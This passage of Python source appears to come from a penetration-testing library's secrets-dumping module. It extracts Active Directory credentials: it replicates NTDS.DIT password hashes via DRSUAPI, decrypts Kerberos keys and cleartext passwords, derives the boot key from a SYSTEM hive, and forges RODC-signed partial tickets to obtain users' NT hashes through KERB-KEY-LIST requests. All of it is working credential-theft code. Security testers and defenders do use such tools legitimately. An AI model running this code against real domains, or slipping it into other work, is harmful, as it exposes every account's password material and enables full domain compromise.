                LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
                status = STATUS_MORE_ENTRIES
                enumerationContext = 0
                lookupBySid = True

                # Do we have to resume from a previously saved session?
                if self.__resumeSession.hasResumeData():
                    resumeSid = self.__resumeSession.getResumeData()
                    LOG.info('Resuming from SID %s, be patient' % resumeSid)
                else:
                    resumeSid = None
                    # We do not create a resume file when asking for individual users
                    if self.__justUser is None and self.__ldapFilter is None:
                        self.__resumeSession.beginTransaction()

                if self.__justUser is not None:
                    # Depending on the input received, we need to change the formatOffered before calling
                    # DRSCrackNames.
                    # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
                    # That's because we don't specify the domain for the user (and there might be duplicates)
                    # Always remember that if you specify a domain, you should specify the NetBIOS domain name,
                    # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
                    if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:
                        self.__justUser = self.__justUser.replace('/','\\')
                        formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
                    else:
                        formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN

                    crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
                                                                 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
                                                                 name=self.__justUser)

                    if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
                        if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
                            raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
                                0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

                        userRecord = self.__remoteOps.DRSGetNCChangesGuid(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
                        #userRecord.dump()
                        replyVersion = 'V%d' % userRecord['pdwOutVersion']
                        if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
                            raise Exception('DRSGetNCChanges didn\'t return any object!')
                    else:
                        LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
                        crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
                    try:
                        self.__decryptHash(userRecord,
                                           userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
                                           hashesOutputFile)
                        if self.__justNTLM is False:
                            self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
                                'pPrefixEntry'], keysOutputFile, clearTextOutputFile)

                    except Exception as e:
                        LOG.error("Error while processing user!")
                        LOG.debug("Exception", exc_info=True)
                        LOG.error(str(e))
                elif self.__ldapFilter is not None:
                    resp = self.__remoteOps.getDomainUsersLDAP(self.__ldapFilter)
                    formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
                    for (user, userSid) in resp:

                        # Try to lookup by SID, but fallback to DSCrackNames for GUID lookups otherwise
                        if lookupBySid:
                            try:
                                userRecord = self.__remoteOps.DRSGetNCChangesSid(userSid)
                            except drsuapi.DCERPCSessionError as e:
                                LOG.debug("SID lookup unsuccessful, falling back to DRSCrackNames/GUID lookups")
                                lookupBySid = False

                        # We may need to run the above request again if it failed so this can't be an else
                        if not lookupBySid:
                            crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
                                                                         drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
                                                                         name=user)

                            if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
                                if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
                                    raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
                                        0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

                                userRecord = self.__remoteOps.DRSGetNCChangesGuid(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
                            else:
                                LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
                                            crackedName['pmsgOut']['V1']['pResult']['cItems'], user)
                                )
                        #userRecord.dump()
                        replyVersion = 'V%d' % userRecord['pdwOutVersion']
                        if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
                            raise Exception('DRSGetNCChanges didn\'t return any object!')

                        try:
                            self.__decryptHash(userRecord,
                                               userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
                                               hashesOutputFile)
                            if self.__justNTLM is False:
                                self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
                                                               'pPrefixEntry'], keysOutputFile, clearTextOutputFile)

                        except Exception as e:
                            LOG.error("Error while processing user %s!" % user)
                            LOG.debug("Exception", exc_info=True)
                            LOG.error(str(e))
                else:
                    while status == STATUS_MORE_ENTRIES:
                        resp = self.__remoteOps.getDomainUsers(enumerationContext)

                        for user in resp['Buffer']['Buffer']:
                            userName = user['Name']
                            if userName in skipUsers:
                                continue
                            userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId'])
                            if resumeSid is not None:
                                # Means we're looking for a SID before start processing back again
                                if resumeSid == userSid:
                                    # Match!, next round we will back processing
                                    LOG.debug('resumeSid %s reached! processing users from now on' % userSid)
                                    resumeSid = None
                                else:
                                    LOG.debug('Skipping SID %s since it was processed already' % userSid)
                                continue

                            # Try to lookup by SID, but fallback to DSCrackNames for GUID lookups otherwise
                            if lookupBySid:
                                try:
                                    userRecord = self.__remoteOps.DRSGetNCChangesSid(userSid)
                                except drsuapi.DCERPCSessionError as e:
                                    LOG.debug("SID lookup unsuccessful, falling back to DRSCrackNames/GUID lookups")
                                    lookupBySid = False

                            # We may need to run the above request again if it failed so this can't be an else
                            if not lookupBySid:
                                crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
                                                                             drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
                                                                             name=userSid)

                                if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
                                    if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
                                        LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
                                            0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
                                        break
                                    userRecord = self.__remoteOps.DRSGetNCChangesGuid(
                                        crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])

                                else:
                                    LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
                                    crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))

                            # userRecord.dump()
                            replyVersion = 'V%d' % userRecord['pdwOutVersion']
                            if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
                                raise Exception('DRSGetNCChanges didn\'t return any object!')

                            try:
                                self.__decryptHash(userRecord,
                                                   userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
                                                   hashesOutputFile)
                                if self.__justNTLM is False:
                                    self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
                                        'pPrefixEntry'], keysOutputFile, clearTextOutputFile)

                            except Exception as e:
                                LOG.error("Error while processing user!")
                                LOG.debug("Exception", exc_info=True)
                                LOG.error(str(e))

                            # Saving the session state
                            self.__resumeSession.writeResumeData(userSid)

                        enumerationContext = resp['EnumerationContext']
                        status = resp['ErrorCode']

                # Everything went well and we covered all the users
                # Let's remove the resume file is we had created it
                if self.__justUser is None and self.__ldapFilter is None:
                    self.__resumeSession.clearResumeData()

            LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
            # Now we'll print the Kerberos keys. So we don't mix things up in the output.
            if len(self.__kerberosKeys) > 0:
                if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
                    LOG.info('Kerberos keys from %s ' % self.__NTDS)
                else:
                    LOG.info('Kerberos keys grabbed')

                for itemKey in list(self.__kerberosKeys.keys()):
                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)

            # And finally the cleartext pwds
            if len(self.__clearTextPwds) > 0:
                if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
                    LOG.info('ClearText password from %s ' % self.__NTDS)
                else:
                    LOG.info('ClearText passwords grabbed')

                for itemKey in list(self.__clearTextPwds.keys()):
                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
        finally:
            # Resources cleanup
            if hashesOutputFile is not None:
                hashesOutputFile.close()

            if keysOutputFile is not None:
                keysOutputFile.close()

            if clearTextOutputFile is not None:
                clearTextOutputFile.close()

            self.__resumeSession.endTransaction()

    @classmethod
    def __writeOutput(cls, fd, data):
        try:
            fd.write(data)
        except Exception as e:
            LOG.error("Error writing entry, skipping (%s)" % str(e))
            pass

    def finish(self):
        if self.__NTDS is not None:
            self.__ESEDB.close()

class LocalOperations:
    def __init__(self, systemHive):
        self.__systemHive = systemHive

    def __getCurrentControlSet(self, winreg):
        currentControlSet = winreg.getValue('\\Select\\Current')[1]
        return "ControlSet%03d" % currentControlSet

    def getBootKey(self):
        # Local Version whenever we are given the files directly
        bootKey = b''
        tmpKey = b''
        winreg = winregistry.get_registry_parser(self.__systemHive, False)
        # We gotta find out the Current Control Set
        currentControlSet = self.__getCurrentControlSet(winreg)
        for key in ['JD', 'Skew1', 'GBG', 'Data']:
            LOG.debug('Retrieving class info for %s' % key)
            ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
            digit = ans[:16].decode('utf-16le')
            tmpKey = tmpKey + b(digit)

        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]

        tmpKey = unhexlify(tmpKey)

        for i in range(len(tmpKey)):
            bootKey += tmpKey[transforms[i]:transforms[i] + 1]

        LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))

        return bootKey


    def checkNoLMHashPolicy(self):
        LOG.debug('Checking NoLMHash Policy')
        winreg = winregistry.get_registry_parser(self.__systemHive, False)
        # We gotta find out the Current Control Set
        currentControlSet = self.__getCurrentControlSet(winreg)

        # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
        noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
        if noLmHash is not None:
            noLmHash = noLmHash[1]
        else:
            noLmHash = 0

        if noLmHash != 1:
            LOG.debug('LMHashes are being stored')
            return False
        LOG.debug('LMHashes are NOT being stored')
        return True

class KeyListSecrets:
    def __init__(self, domainName, kdc, kvno, rodcKey, remoteOps=None):
        self.__remoteOps = remoteOps
        self.__keyVersionNumber = kvno
        self.__rodcKey = rodcKey
        if self.__remoteOps is None:
            self.__kdcHostName = kdc
            self.__domain = domainName
        else:
            self.__kdcHostName = self.__remoteOps.getMachineNameAndDomain()[0]
            self.__domain = self.__remoteOps.getDNSDomain()

    def dump(self):
        LOG.info('Using the KERB-KEY-LIST method to get secrets')
        self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
        targetList = self.getAllowedUsersToReplicate()
        for targetUser in targetList:
            user = targetUser.split(":")[0]
            targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            partialTGT, sessionKey = self.createPartialTGT(targetUserName)
            fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey)
            if fullTGT is not None:
                key = self.getKey(fullTGT, sessionKey)
                print(self.__domain + "\\" + targetUser + ":" + key[2:])

    def createPartialTGT(self, userName):
        # We need the ticket template
        partialTGT = TicketAsn1()
        partialTGT['tkt-vno'] = ProtocolVersionNumber.pvno.value
        partialTGT['realm'] = self.__domain
        partialTGT['sname'] = noValue
        partialTGT['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
        partialTGT['sname']['name-string'][0] = 'krbtgt'
        partialTGT['sname']['name-string'][1] = self.__domain
        partialTGT['enc-part'] = noValue
        partialTGT['enc-part']['kvno'] = self.__keyVersionNumber << 16
        partialTGT['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value

        # We create the encrypted ticket part
        encTicketPart = EncTicketPart()
        # We need these flags: 01000000100000010000000000000000
        flags = list()
        flags.append(TicketFlags.forwardable.value)
        flags.append(TicketFlags.renewable.value)
        flags.append(TicketFlags.enc_pa_rep.value)

        # We fill in the encripted part
        encTicketPart['flags'] = encodeFlags(flags)
        encTicketPart['key'] = noValue
        encTicketPart['key']['keytype'] = partialTGT['enc-part']['etype']
        encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
        encTicketPart['crealm'] = self.__domain
        encTicketPart['cname'] = noValue
        encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
        encTicketPart['cname']['name-string'] = noValue
        encTicketPart['cname']['name-string'][0] = userName
        encTicketPart['transited'] = noValue
        encTicketPart['transited']['tr-type'] = 0
        encTicketPart['transited']['contents'] = ''
        encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.now(timezone.utc))
        encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.now(timezone.utc))
        # Let's extend the ticket's validity a lil bit
        ticketDuration = datetime.now(timezone.utc) + timedelta(days=int(120))
        encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
        encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
        # We don't need PAC
        encTicketPart['authorization-data'] = noValue
        # We encode the encripted part
        encodedEncTicketPart = encoder.encode(encTicketPart)
        # and we encrypt it with the RODC key
        cipher = _enctype_table[partialTGT['enc-part']['etype']]
        key = Key(cipher.enctype, unhexlify(self.__rodcKey))
        # key usage 2 -> key tgt service
        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)

        partialTGT['enc-part']['cipher'] = cipherText
        sessionKey = encTicketPart['key']['keyvalue']

        return partialTGT, sessionKey

    def getFullTGT(self, userName, partialTGT, sessionKey):
        ticket = Ticket()
        ticket.from_asn1(partialTGT)

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = partialTGT['realm'].asOctets()

        seq_set(authenticator, 'cname', userName.components_to_asn1)

        now = datetime.now(timezone.utc)
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)
        cipher = _enctype_table[partialTGT['enc-part']['etype']]
        keyAuth = Key(cipher.enctype, bytes(sessionKey))
        encryptedEncodedAuthenticator = cipher.encrypt(keyAuth, 7, encodedAuthenticator, None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        tgsReq = TGS_REQ()
        tgsReq['pvno'] = 5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        encodedApReq = encoder.encode(apReq)
        tgsReq['padata'][0]['padata-value'] = encodedApReq
        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value)
        encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer()))
        tgsReq['padata'][1]['padata-value'] = encodedKeyReq

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.canonicalize.value)

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        serverName = Principal("krbtgt", type=PrincipalNameType.NT_SRV_INST.value)
        reqBody['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
        reqBody['sname']['name-string'][0] = serverName
        reqBody['sname']['name-string'][1] = self.__domain
        reqBody['realm'] = self.__domain

        now = datetime.now(timezone.utc) + timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = rand.getrandbits(31)
        seq_set_iter(reqBody, 'etype',
                     (
                         int(cipher.enctype),
                         int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
                         int(constants.EncryptionTypes.rc4_hmac.value),
                         int(constants.EncryptionTypes.rc4_hmac_exp.value),
                         int(constants.EncryptionTypes.rc4_hmac_old_exp.value)
                     )
                     )

        message = encoder.encode(tgsReq)
        # Let's send our TGS Request, the response will include the FULL TGT with the keys!!!
        try:
            logging.debug("Requesting a service ticket for the user %s", userName)
            resp = sendReceive(message, self.__domain, self.__kdcHostName)
        except Exception as error:
            if str(error).find('KDC_ERR_TGT_REVOKED') >= 0 or str(error).find('KDC_ERR_CLIENT_REVOKED') >= 0:
                logging.error("User %s is not allowed to have passwords replicated in RODCs", userName)
            elif str(error).find('KDC_ERR_C_PRINCIPAL_UNKNOWN') >= 0:
                logging.error("User %s doesn't exist", userName)
            elif str(error).find('KDC_ERR_KEY_EXPIRED') >= 0:
                logging.error("User %s's password has expired", userName)
            elif str(error).find('Connection timed out') >= 0:
                raise Exception("Connection timed out: check the KDC HostName or IP address, aborting")
            elif str(error).find('Name or service not known') >= 0:
                raise Exception("Name or service not known: check the KDC HostName or IP address, aborting")
            elif str(error).find('KDC_ERR_WRONG_REALM') >= 0:
                raise Exception("KDC_ERR_WRONG_REALM: domain doesn't exist, aborting")
            elif str(error).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
                raise Exception("KDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, aborting")
            elif str(error).find('KRB_AP_ERR_BAD_INTEGRITY') >= 0:
                raise Exception("KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting")
            else:
                logging.error(error)
            return None
        return resp

    @staticmethod
    def getKey(resp, sessionKey):
        tgsRep = decoder.decode(resp, asn1Spec=TGS_REP())[0]

        encTGSRepPart = tgsRep['enc-part']
        enctype = encTGSRepPart['etype']
        cipher = _enctype_table[enctype]

        keyAuth = Key(cipher.enctype, bytes(sessionKey))
        decryptedTGSRepPart = cipher.decrypt(keyAuth, 8, encTGSRepPart['cipher'])
        decodedTGSRepPart = decoder.decode(decryptedTGSRepPart, asn1Spec=EncTGSRepPart())[0]
        encPaData1 = decodedTGSRepPart['encrypted_pa_data'][0]
        decodedPaData1 = decoder.decode(encPaData1['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0]
        key = decodedPaData1[0]['keyvalue'].prettyPrint()

        return key

    def getAllowedUsersToReplicate(self):
        # Enumerate all groups in domain
        resp = self.__remoteOps.getGroupsInDomain()
        groupsList = []
        for group in resp['Buffer']['Buffer']:
            groupsList.append(group['RelativeId'])

        # Enumerate all aliases in domain
        resp = self.__remoteOps.getAliasesInDomain()
        aliasesList = []
        for alias in resp['Buffer']['Buffer']:
            aliasesList.append(alias['RelativeId'])

        # Enumerate denied users to replicate (alias "Denied Password Replication" RID:572)
        resp = self.__remoteOps.getMembersInAlias(rid=572)
        deniedList = [500, 501, 502, 503]
        for user in resp['Members']['Sids']:
            rid = user['Data']['SidPointer']['SubAuthority'][4]
            if rid not in deniedList:
                deniedList.append(rid)

        # Enumerate denied users in nested groups/aliases
        for rid in deniedList:
            if rid in groupsList:
                resp = self.__remoteOps.getMembersInGroup(rid)
                for user in resp['Members']['Members']:
                    rid2 = user['Data']
                    if rid2 not in deniedList:
                        deniedList.append(rid2)
            elif rid in aliasesList:
                resp = self.__remoteOps.getMembersInAlias(rid)
                for user in resp['Members']['Sids']:
                    rid2 = user['Data']['SidPointer']['SubAuthority'][4]
                    if rid2 not in deniedList:
                        deniedList.append(rid2)

        # Enumerate all users and filter denied ones
        resp = self.__remoteOps.getDomainUsers()
        targetList = []
        for user in resp['Buffer']['Buffer']:
            if user['RelativeId'] not in deniedList and "krbtgt_" not in user['Name']:
                targetList.append(user['Name'] + ":" + str(user['RelativeId']))

        return targetList


def _print_helper(*args, **kwargs):
    print(args[-1])
